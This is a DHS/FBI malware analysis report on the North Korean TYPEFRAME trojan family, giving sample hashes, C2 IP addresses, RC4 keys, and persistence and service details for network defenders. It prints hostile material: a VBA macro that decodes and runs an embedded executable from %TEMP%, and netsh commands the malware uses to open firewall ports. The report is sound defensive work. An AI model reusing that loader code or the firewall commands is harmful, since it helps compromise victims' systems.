MAR-10135536-12 – North Korean Trojan: TYPEFRAME

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise.

This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp.

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant is known as TYPEFRAME. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware, report the activity to the DHS National Cybersecurity and Communications Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This malware report contains analysis of 11 malware samples consisting of 32-bit and 64-bit Windows executable files and a malicious Microsoft Word document that contains Visual Basic for Applications (VBA) macros. These files have the capability to download and install malware, install proxy and Remote Access Trojans (RATs), connect to command and control (C2) servers to receive additional instructions, and modify the victim's firewall to allow incoming connections.

For a downloadable copy of IOCs, see:

• MAR-10135536-12.stix

Submitted Files (11)

201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33 (1C53E7269FE9D84C6DF0A25BA59B82...)

20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 (EF9DB20AB0EEBF0B7C55AF4EC0B7BC...)

3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 (java.exe)

40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116 (CA67F84D5A4AC1459934128442C53B...)

4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd (3229A6CEA658B1B3CA5CA9AD7B40D8...)

546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 (6AB301FC3296E1CEB140BF5D294894...)

675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1 (10B28DA8EEFAC62CE282154F273B3E...)

8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 (F5A4235EF02F34D547F71AA5434D9B...)

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777 (BFB41BC0C3856AA0A81A5256B7B8DA...)

d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 (BF474B8ACD55380B1169BB949D60E9...)

e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7 (60294C426865B38FDE7C5031AFC4E4...)

Additional Files (3)

089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359 (midimapper.rs)

a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 (laxhost.dll)

e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef (dwnhost.dll)

IPs (7)

111.207.78.204

181.119.19.56

184.107.209.2

59.90.93.97

80.91.118.45

81.0.213.173

98.101.211.162

8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8

Tags

backdoorremote-access-trojantrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file is a 32-bit Windows portable executable file designed to install a Remote Access Trojan (RAT) as a service on the victim system. The malware accepts the following argument during execution "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd”.

The RAT’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--


Decrypted strings of interest are displayed below:

--Begin strings of interest--
host.dll
"Task Notification Service"
"Monitors And Notifies Task Scheduling And Interaction"
netsvcs
--End strings of interest--


When executed, the RAT checks if the module "C:\Windows\system32\laxhost.dll" is installed on the compromised system. If it is not installed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000”.

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a malicious DLL module, which is decompressed and installed into "C:\Windows\system32\laxhost.dll”. The first three characters of the module name are randomly generated.

The malware contains an RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--


The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute "C:\Windows\system32\laxhost.dll" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe." The service name and the display name are randomly generated.

The installed service information is displayed below:

--Begin service information--
ServiceName = "Irmon"
DisplayName = "Irmon"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"
--End service information--

a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6

Tags

backdoorremote-access-trojantrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

laxhost.dll (original name: KDCOLCWP.DLL) is a 32-bit Windows dynamic-link library (DLL) file and is a RAT module that was installed as a service by the file 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8.

laxhost.dll’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal-encoded C2 IP address and port number:

--Begin IP and port # list -
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list --

The malware attempts to connect to its C2 server 59.90.93.97 using port 443 and wait for further instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

--Begin functions performed by the malware--
Get Disk Free Space
Search for files
Execute process in elevated mode
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
Delete Service and uninstall malware components using a batch script
--End functions performed by the malware--

675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1

Tags

dropperproxytrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file is a 32-bit Windows executable designed to install a proxy module as a service on the victim’s system. This file accepts the following arguments during execution: "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd."

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
"wmplayer.xml"
"printcache.tlb"
"Print Device Cache"
"Manage Print Device Cache And Printing"
printcache
--End strings of interest--

When executed, it will load an embedded RC4 encrypted archive file from the start of the offset "0x15000."

The malware decrypts the archive using the same RC4 key. The decrypted archive contains a proxy module, which is decompressed and installed from the existing file name "wmplayer.xml" to "C:\Windows\system32\printcache.tlb."

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute "C:\Windows\system32\printcache.tlb" using the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe."

--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

e69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7

Tags

proxytrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file, printcache.tlb (original name: PDll.dll), is a proxy module installed as a service by the file 675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1. This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

--Begin port # list --
BB 01 ==> 1BB ==> 443
7F 00 ==> 7F ==> 127
90 1F ==> 1F90 == 8080
--End port # list --

The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action"
--End firewall modification--

The malware attempts to open ports 443, 127, and 8080 and wait for a connection. The malware contains public SSL certificates in its resource named "101” and is designed to generate crafted TLS sessions (fake TLS communication mechanism).
 

089e49de61701004a5eff6de65476ed9c7632b6020c2c0f38bb5761bca897359

Tags

proxytrojan

Details

Antivirus

Yara Rules

ssdeep Matches

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Description

midimapper.rs (original name: MDll.dll) is a proxy module installed as a service. This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End Rc4 key--

When executed, the malware loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

-- Begin port # list --
FB 20 ==> 20FB ==> 8443
-- End port # list --

The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=8443 action=allow enable=yes"
--End firewall modification--

The malware attempts to open port 8443 and wait for connection. The malware contains public SSL certificates in its resource named "101”. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92

Tags

dropperproxytrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This 32-bit Windows executable is a RAT, designed to install a proxy module as a service on the victim’s system.

The malware's APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
"wmplayer.xml"
"printcache.tlb"
"printcache"
"Print Device Cache"
"Manage Print Device Cache And Printing"
--End strings of interest--

When executed, the malware will load an embedded RC4 encrypted archive file from the start of the offset "0x15000”.

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a proxy module, which is decompressed and installed from the existing file name "wmplayer.xml" to "C:\Windows\system32\printcache.tlb".

The malware installs the module as a serviceDLL in the "printcache" service group in order to execute "C:\Windows\system32\printcache.tlb" by the Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe”.

--Begin service--
ServiceName = "printcache"
DisplayName = "Print Device Cache"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k printcache"
--End service--

The malware contains an RC4 encrypted configuration file data, which contains port numbers (8 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Signature"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116

Tags

proxytrojan

Details

Antivirus

Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

1printcache.tlb (original name: PDll.dll) is a proxy module installed as a service by the file d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92. This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server.

The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
75 0E 83 C0 02 83 C1 02 84 D2 75 E4 33 C0 EB 05
--End Rc4 key--

When executed, it loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains hexadecimal encoded port numbers:

--Begin port # list --
BB 01 ==> 1BB ==>443
7F 00 ==> 7F ==> 127
FB 20 ==> 20FB ==> 8443
--End port # list --

The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections.

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=443 action=allow enable=yes"
--End firewall modification--

The malware attempts to open ports 443, 127, and 8443 and wait for connection. The malware contains public SSL certificates in its resource name "101”. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1

Tags

downloaderdroppertrojan

Details

Antivirus

Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is a malicious 64-bit Windows dynamic-link library (DLL) that is designed to drop and execute an embedded file. The malware decodes the embedded file by XORing it with the value "0x35".

During analysis, the malware executed the file as C:\Windows\Temp\java.exe (3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210). The dropped file has been identified as a RAT.

3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

Tags

backdoorremote-access-trojantrojan

Details

Antivirus

Yara Rules

ssdeep Matches

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file is a 32-bit Windows executable designed to connect to its remote server and wait for instructions. The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--

This file is a RAT and contains the following embedded hexadecimal encoded C2 IP addresses and port numbers:

--Begin IP and port # list--
1BBh ==> 443
2D765B50h ==> 80.91.118.45
381377B5h ===> 181.119.19.56
0CC4ECF6Fh ==> 111.207.78.204
2D16BB8h ==> 184.107.209.2
--End IP and port # list--

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed to accept instructions from the remote server to perform additional functions:

--Begin functions perform by the malware--
Search for files
Execute process
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
--End functions perform by the malware--

The malware is designed to use the same RC4 key to encrypt its configuration file data, which contains the hexadecimal encoded C2 IP address and port number. The encrypted configuration data is stored into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd

Tags

downloaderdroppertrojan

Details

Antivirus

Yara Rules

No matches found.

ssdeep Matches

No matches found.

Description

This is a malicious Microsoft Word document, and contains Visual Basic for Application (VBA) macros. When the Word document is opened, the user is prompted to enable the use of macros by the Microsoft Word process. If the user enables macro execution, the embedded malicious macro will be executed and proceed to decode a PE binary and execute it from "%TEMP%\leo.exe”. A code snippet used to decode the malicious binary is displayed below:

--Begin code snippet--

   On Error GoTo gaqz
   
   liveOn = "mfp/fyf"
   
   liveOff = Environ("temp") + "\"
   For qnx = 1 To Len(liveOn)
       liveOff = liveOff + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
   Next
   
   Dim str(238) As String

   str(1) = "Encoded hex data"
   str(2) = "Encoded hex data"
   str(3) = "Encoded hex data"
   str(4) = "Encoded hex data"
   str(5) = "Encoded hex data"
   .......
   .......
   str(238) = "Encoded hex data"

   Dim offBin(499) As Byte
   str(1) = "Encoded hex data"
   str(2) = "Encoded hex data"
   str(3) = "Encoded hex data"
   ......
   ......
   str(499) = "Encoded hex data"

   Open liveOff For Binary Access Write As #1

   lpdq = 1

   For jnx = 0 To 237
       For inx = 0 To 499
           offBin(inx) = Val("&H" + Mid(str(jnx + 1), inx * 2 + 1, 2))
           offBin(inx) = offBin(inx) Xor 231
       Next inx

       Put #1, lpdq, offBin
       lpdq = lpdq + 500
   Next jnx

   Close #1

   jfsukew liveOff



   liveOn = "tfdvsjuzxbsojoh`mndjsu`514/epd"

   liveOffd = Environ("temp") + "\"
   For qnx = 1 To Len(liveOn)
       liveOffd = liveOffd + Chr(Asc(Mid$(liveOn, qnx, 1)) - 1)
   Next qnx

   Dim strd(167) As String
strd(167) = ""

   Dim offBind(499) As Byte

   Open liveOffd For Binary Access Write As #2

   lpdq = 1

   For jnx = 0 To 166
       For inx = 0 To 499
           offBind(inx) = Val("&H" + Mid(strd(jnx + 1), inx * 2 + 1, 2))
           offBind(inx) = offBind(inx) Xor 231
       Next inx

       Put #2, lpdq, offBind
       lpdq = lpdq + 500
   Next jnx
   
   Close #2
   
   SetAttr liveOffd, 6
   
   bazs = ThisDocument.Name
   
   Application.Documents.Open (liveOffd)
   Application.ActiveDocument.ActiveWindow.Caption = bazs
   ThisDocument.Close
   
gaqz:
End Sub

Function Jdhcuad(Input_Str$) As String
   Dim Len_Str%, Result$, Temp_Str$, n%
   
   Len_Str = Len(Input_Str)
   For n = 1 To Len_Str
       Temp_Str = Mid(Input_Str, n, 1)
       Temp_Str = Chr(46 + (Asc(Temp_Str) - 46 - 20 + (122 - 46)) Mod (122 - 46))
       Result = Result + Temp_Str
   Next
   
   Jdhcuad = Result
End Function

Private Sub jfsukew(filename)
   Dim obj As Object
   Set obj = CreateObject(Jdhcuad("kgw:18<Bg0y44"))
   obj.Run filename, 1, False
   Set obj = Nothing
End Sub
--End code snippet--

c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777

Tags

backdoorremote-access-trojantrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file is a 64-bit Windows executable version of the file 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 and is designed to install a RAT as a service on the victim’s system. This file accepts the following arguments during execution "68S3mI2AMcmOz3BgjnuYpLlZ4fZog7sd".

The RAT’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

Decrypted strings of interest are displayed below:

--Begin strings of interest--
host.dll
"Task Notification Service"
"Monitors And Notifies Task Scheduling And Interaction"
netsvcs
--End strings of interest--

When executed, the RAT loads an embedded RC4 encrypted archive file from the start of the offset "0x1A800" of the file.

The malware decrypts the archive using the same Rc4 key. The decrypted archive contains a malicious DLL module, which is decompressed and installed into "C:\Windows\system32\dwnhost.dll”. The first three characters of the module name are randomly generated.

The malware contains RC4 encrypted configuration file data (192 bytes). During runtime, it installs the encrypted configuration data into the following registry key:

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The malware installs a malicious DLL module as a serviceDLL in the "netsvcs" service group in order to execute "C:\Windows\system32\dwnhost.dll" by Windows service hosting process, "%SYSTEMROOT%\system32\svchost.exe”. The service name and the display name are randomly generated.

The installed service information is displayed below:

--Begin service--
ServiceName = "NWCWorkstation"
DisplayName = "NWCWorkstation"
DesiredAccess = SERVICE_ALL_ACCESS
ServiceType = SERVICE_WIN32_SHARE_PROCESS
StartType = SERVICE_AUTO_START
BinaryPathName = "%SYSTEMROOT%\system32\svchost.exe -k netsvcs"
--End service--

e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef

Tags

remote-access-trojantrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

Relationships

Description

dwnhost.dll (original name: DLL64.dll) is a 64-bit Windows dynamic-link library (DLL) of "laxhost.dll" (a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6). This RAT module was installed as a service by the file "c9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777”.

The RAT’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
85 C0 7C 17 8B 4D F4 8B 76 20 33 C0 3B C8 77 0B
--End RC4 key--

When executed, the RAT loads and decrypts the encrypted configuration file data from the registry using the same RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\dwnxhost.dll"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

The decrypted data contains a hexadecimal encoded command and control IP address and port number:

--Begin IP and port # list--
BB 01 3B 5A 5D 61 ==> 59.90.93.97:443
--End IP and port # list--

The malware attempts to connect to its remote server IP 59.90.93.97 using port 443 and waits for instructions.

The malware is designed to accept instructions from the remote server to perform the following functions:

--Begin functions perform by the malware--
Get Disk Free Space
Search for files
Execute process in elevated mode
Terminate processes
Delete files
Execute command-using shell
Download and upload files
Read files and write files
Delete Service and uninstall malware components using a batch script
--End functions perform by the malware--

20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64

Tags

remote-access-trojantrojan

Details

Antivirus

Yara Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This file is a 64-bit Windows executable designed to connect to its remote server and wait for instructions. The malware’s file APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin RC4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End RC4 key--

This file is a variant of a RAT that contains the following embedded hexadecimal-encoded C2 IP address and port number:

--Begin IP and port # list--
1BBh ==> 443
0A2D36562h ==> 98.101.211.162
0ADD50051h ==> 81.0.213.173
--End IP and port # list--

When executed, it attempts to connect to its C2 IPs using port 443 and waits for instructions. The malware is designed to accept instructions from the remote server to perform additional functions.

201c7cd10a2bd50dde0948d14c3c7a0732955c908a3392aee3d08b94470c9d33

Tags

proxytrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Description

This file (original name: Proxy_SVC_DLL.dll) is a proxy module installed as a service. The proxy installer that installs this module was not available for analysis.

This file is designed to open the Windows Firewall on the victim’s machine to allow incoming connections and force the compromised system to function as a proxy server. The malware’s APIs and strings (registry key, file names, and service name) are RC4 encrypted using the following key:

--Begin Rc4 key--
DA E1 61 FF 0C 27 95 87 17 57 A4 D6 EA E3 82 2B
--End Rc4 key--

When executed, the proxy installer will attempt to load and decrypt the encrypted configuration file data from the registry using the RC4 key.

--Begin registry key--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"
ValueName = "Description"
ValueData = "RC4 encrypted configuration file data"
--End registry key--

Analysis indicates that the decrypted configuration data contains port numbers. The malware utilized the following command to open the Windows Firewall on the victim’s machine to allow incoming connections:

--Begin firewall modification--
"netsh.exe advfirewall firewall add rule name="PortOpenning" dir=in protocol=tcp localport=<decrypted port number> action=allow enable=yes"
--End firewall modification--

The malware attempts to open the predefined port and waits for connection. The malware contains public SSL certificates in its resource name "101”. It is designed to generate crafted TLS sessions (fake TLS communication mechanism).

98.101.211.162

Ports

• 443 TCP

Whois

NetRange:     98.100.0.0 - 98.103.255.255
CIDR:         98.100.0.0/14
NetName:        RCMS
NetHandle:     NET-98-100-0-0-1
Parent:         NET98 (NET-98-0-0-0-0)
NetType:        Direct Allocation
OriginAS:    
Organization: Time Warner Cable Internet LLC (RCMS)
RegDate:        2008-03-17
Updated:        2009-05-05
Ref:            https://whois.arin.net/rest/net/NET-98-100-0-0-1


OrgName:        Time Warner Cable Internet LLC
OrgId:         RCMS
Address:        6399 S Fiddlers Green Circle
City:         Greenwood Village
StateProv:     CO
PostalCode:     80111
Country:        US
RegDate:        2001-09-25
Updated:        2018-03-07
Comment:        Allocations for this OrgID serve Road Runner commercial customers out of the Columbus, OH, Herndon, VA and Raleigh, NC RDCs.
Ref:            https://whois.arin.net/rest/org/RCMS

Relationships

81.0.213.173

Ports

• 443 TCP

Whois

inetnum:        81.0.213.168 - 81.0.213.175
netname:        CmsConsulting-CZ
descr:         CMS Consulting s.r.o.
country:        CZ
admin-c:        CASA3-RIPE
tech-c:         CASA3-RIPE
status:         ASSIGNED PA
mnt-by:         CASABLANCA-RIPE-MNT
created:        2009-10-09T07:31:35Z
last-modified: 2009-10-09T07:31:35Z
source:         RIPE

role:         Casablanca INT RIPE manager
address:        Casablanca INT
address:        Vinohradska 184, Prague 3 - 130 52
address:        Czech republic
phone:         +420 270 000 270
fax-no:         +420 270 000 277
e-mail:         hostmaster@casablanca.cz
abuse-mailbox: abuse@casablanca.cz
admin-c:        JH1771-RIPE
tech-c:         JH1771-RIPE
notify:         hostmaster@casablanca.cz
nic-hdl:        CASA3-RIPE
created:        2005-09-05T10:42:10Z
last-modified: 2015-07-03T11:19:49Z
source:         RIPE
mnt-by:         CASABLANCA-CORE-MNT

% Information related to '81.0.213.0/24AS15685'

route:         81.0.213.0/24
descr:         Casablanca INT prefix fraction
origin:         AS15685
mnt-by:         CASABLANCA-CORE-MNT
created:        2017-06-30T09:41:16Z
last-modified: 2017-06-30T09:41:16Z
source:         RIPE

Relationships

184.107.209.2

Ports

• 443 TCP

Whois

Domain Name: TVDAIJIWORLD.COM
Registry Domain ID: 632237350_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2017-10-16T06:44:25Z
Creation Date: 2006-10-14T19:18:50Z
Registrar Registration Expiration Date: 2018-10-14T19:18:50Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry
Registrant Name: ******** ******** (see Notes section below on how to view unmasked data)
Registrant Organization: Konkandaiz
Registrant Street: Post Box 53608
Registrant Street: Dubai
Registrant City: Dubai
Registrant State/Province: Not Applicable
Registrant Postal Code: 04
Registrant Country: AE
Registrant Phone: ************
Registrant Phone Ext:
Registrant Fax: 111111111111
Registrant Fax Ext:
Registrant Email: ********@*****.***
Registry Admin ID: Not Available From Registry
Admin Name: ******** ******** (see Notes section below on how to view unmasked data)
Admin Organization: Konkandaiz
Admin Street: Post Box 53608
Admin Street: Dubai
Admin City: Dubai
Admin State/Province: Not Applicable
Admin Postal Code: 04
Admin Country: AE
Admin Phone: ************
Admin Phone Ext:
Admin Fax: 111111111111
Admin Fax Ext:
Admin Email: ********@*****.***
Registry Tech ID: Not Available From Registry
Tech Name: ******** ******** (see Notes section below on how to view unmasked data)
Tech Organization: Konkandaiz
Tech Street: Post Box 53608
Tech Street: Dubai
Tech City: Dubai
Tech State/Province: Not Applicable
Tech Postal Code: 04
Tech Country: AE
Tech Phone: ************
Tech Phone Ext:
Tech Fax: 111111111111
Tech Fax Ext:
Tech Email: ********@*****.***
Name Server: MY.PRIVATEDNS.COM
Name Server: YOUR.PRIVATEDNS.COM
DNSSEC: unsigned

